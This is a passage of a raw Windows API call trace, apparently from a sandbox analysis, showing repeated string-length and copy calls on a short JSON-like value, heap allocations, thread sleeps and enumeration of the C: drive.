[0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.648] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f337b0 [0117.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8ba) returned 0x2fe8e50 [0117.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f337b0, cbMultiByte=-1, lpWideCharStr=0x2fe8e50, cchWideChar=1117 | out: lpWideCharStr="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 94 [0117.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8c0) returned 0x2ffd138 [0117.649] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe8e50 | out: hHeap=0x5e0000) returned 1 [0117.649] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f337b0 | out: hHeap=0x5e0000) returned 1 [0117.649] lstrcpyW (in: lpString1=0x464f20, lpString2="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.649] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffd138 | out: hHeap=0x5e0000) returned 1 [0117.649] lstrlenA (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 93 [0117.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbc) returned 0x2ff6b28 [0117.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x97fa778, cbMultiByte=-1, lpWideCharStr=0x2ff6b28, cchWideChar=94 | out: lpWideCharStr="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 94 [0117.650] lstrcpyW (in: lpString1=0x464f20, lpString2="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds\",\"line2\":\"plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.650] lstrlenW (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds") returned 40 [0117.650] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0117.650] lstrcpyA (in: lpString1=0x97fab78, lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.650] lstrcpyA (in: lpString1=0x97fa778, lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.650] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdacb8 [0117.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x854) returned 0x2fe81e0 [0117.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fdacb8, cbMultiByte=-1, lpWideCharStr=0x2fe81e0, cchWideChar=1066 | out: lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 43 [0117.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x2fe8e50 [0117.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe81e0 | out: hHeap=0x5e0000) returned 1 [0117.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdacb8 | out: hHeap=0x5e0000) returned 1 [0117.651] lstrcpyW (in: lpString1=0x46c450, lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe8e50 | out: hHeap=0x5e0000) returned 1 [0117.651] lstrlenA (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 42 [0117.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x56) returned 0x3001360 [0117.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x97fa778, cbMultiByte=-1, lpWideCharStr=0x3001360, cchWideChar=43 | out: lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned 43 [0117.651] lstrcpyW (in: lpString1=0x46c450, lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" | out: lpString1="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}") returned="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M\"}" [0117.651] lstrlenW (lpString="gNcpj2YRgp5jfeg001O0QIBgBNhyaCcRq3U6ebds") returned 40 [0117.651] lstrlenW (lpString="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned 40 [0117.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffb810 | out: hHeap=0x5e0000) returned 1 [0117.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fe7e18 | out: hHeap=0x5e0000) returned 1 Thread: id = 276 os_tid = 0x5d0 [0118.012] timeGetTime () returned 0x97de [0118.012] GetLastError () returned 0x54f [0118.012] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x2fe9270 [0118.013] GetCurrentThreadId () returned 0x5d0 [0118.013] SetLastError (dwErrCode=0x54f) [0118.013] Sleep (dwMilliseconds=0x0) [0118.016] Sleep (dwMilliseconds=0x3e8) [0119.458] GetLogicalDrives () returned 0x4 [0119.458] SetErrorMode (uMode=0x1) returned 0x0 [0119.458] PathFileExistsA (pszPath="C:\\") returned 1 [0119.459] SetErrorMode (uMode=0x0) returned 0x1 [0119.459] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0119.459] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x806) returned 0x3092b80 [0119.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x388fe60, cbMultiByte=-1, lpWideCharStr=0x3092b80, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0119.459] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.459] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.459] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x2fc8f80 [0119.459] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.459] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.461] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 